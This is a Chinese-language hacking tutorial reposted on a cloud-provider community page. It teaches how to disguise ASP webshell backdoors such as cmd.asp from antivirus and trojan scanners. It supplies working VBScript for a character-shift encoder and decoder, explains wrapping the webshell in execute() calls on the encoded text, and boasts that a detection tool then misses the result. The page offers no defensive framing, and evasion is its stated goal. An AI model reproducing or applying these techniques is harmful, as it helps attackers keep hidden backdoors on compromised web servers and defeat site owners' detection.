ASP後門之終極偽裝

來源:互聯網
上載者:User

記得當年asp木馬出來的時候號稱“永不被殺的木馬”,呵呵,時至今日,隨便什麼殺毒軟體都能將其殺得片甲不留^_^呵呵,受到木馬換殼躲避殺毒軟體思路影響,我們也可以給asp木馬“加殼”(呵呵,當然不是用UPX等)。還等什嗎?請往下看。

  其實這個思路很簡單,就是把asp代碼編碼,執行時再解碼。這裡有兩個方法,一是用微軟的工具Script Encoder;二是利用asp的execute函數。

  先說說Script Encoder。這個東東可以在微軟官方網站免費下到,而且還附贈詳細使用說明,這裡就不多說了吧。但是經過它加密後的檔案會有<%@ LANGUAGE = VBScript.Encode %>,呵呵,露馬腳了,管理員看到這句話就知道這個asp檔案被加密了。那怎麼解密呢?這裡提供一個解密軟體(》點擊進入下載《)。現在知道了吧,微軟的Script Encoder不保險,所以呢,我們要自己寫一個程式出來“加殼”。

  asp的execute函數是拿來執行字串的,即是說可以把asp語句寫成字串,然後用execute來執行。比如這行代碼:execute("response.write(""hackerXfiles"")"),執行後的效果等同於執行response.write("hackerXfiles")。這裡由於execute函數裡的東東是字串,故遇到引號要雙寫。呵呵,既然execute裡是字串,那麼我們就可以把裡面的東東拿來加密了。

  怎麼加密呢?呵呵,就用最簡單的移位法好了。請看代碼:

  but=1
  cc=replace(nr,vbcrlf,"胡")
  for i= 1 to len(cc)
    if mid(cc,i,1)<>"胡" then
      pk=asc(mid(cc,i,1))+but
      if pk>126 then
        pk=pk-95
      elseif pk<32 then
        pk=pk+95
      end if
      temp=temp&chr(pk)
    else
      temp=temp&"胡"
    end if
  next
  temp=replace(temp,"""","""""")
  response.write(temp)

  這段代碼就是asp下的迴圈移位法。那個變數but就是移位的位元,可修改。呵呵,怎麼叫迴圈呢?因為程式會比較字元的ascii碼,當大於126或者小於32時就會處理,使範圍在32~126之間。因為這樣可以避免出現windows不能顯示的字元。這也是一開始就把斷行符號分行符號替換掉的原因。這裡我自己寫了一個移位加密的asp程式xor.asp附上,希望對你有協助。

  那就讓我們來看看用上面代碼把response.write("hackerXfiles")加密後的結果:“sftqpotf/xsjuf)#ibdlfsYgjmft#*”,嘿嘿,這回神仙也看不懂了吧^_^

  既然加了密,當然要解密啦,看解密代碼:

function UnEncode(temp)
  but=1 '這個是移位法所移的位元!注意修改此處與加密時使用的一致
  for i =1 to len(temp)
    if mid(temp,i,1)<>"胡" then
      pk=asc(mid(temp,i,1))-but
      if pk>126 then
        pk=pk-95
      elseif pk<32 then
        pk=pk+95
      end if
      a=a&chr(pk)
    else
      a=a&vbcrlf
    end if
  next
  UnEncode=a
end function

  呵呵,現在知道怎麼執行了吧,只需調用這個解密函數就是:execute(UnEncode("sftqpotf/xsjuf)#ibdlfsYgjmft#*")),怎麼樣,是不是順利執行了!

在這裡給大家一個示範,好讓大家明白怎麼加密asp木馬。由于海洋的asp木馬代碼太多,我人又懶,就拿那個短小精悍的cmd.asp來示範吧!

  首先運行我寫的那個xor.asp,然後用記事本開啟cmd.asp,將它的asp代碼部分複製到xor.asp的文字框(看圖),

 

填好移位參數(這裡我用的1),點“轉換”,呵呵,結果就出來了。然後建立一個文字文件,把cmd.asp的內容複寫進去,前面那個UnEncode函數內容也添進去(這裡要注意修改UnEncode函數裡變數but的值與加密時選的移位參數值一致),然後把它的asp部分替換成execute(UnEncode(hu))的形式,其中hu用前一步得到的加密結果賦值。呵呵,然後儲存為asp檔案就ok啦!這裡就再羅嗦幾句。如果代碼比較長,可以分成幾部分加密,然後多用幾個execute執行就是,但是要注意必須保證asp代碼的完整性,也就是說不能把相關聯的代碼如if、end if分到兩個execute裡去了。

  看看吧,同樣可以運行!

 

  8期的光碟片裡有個思易ASP木馬追捕器,呵呵,正好順手拿來檢測我們今天的成果。嘿嘿,看結果,它對cmd.asp原版本和用Script Encoder加過密的海洋頂端網的2005版可以檢測到,而對我們剛才精心炮製的xcmd.asp卻什麼都檢測不到!呵呵
 
 

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.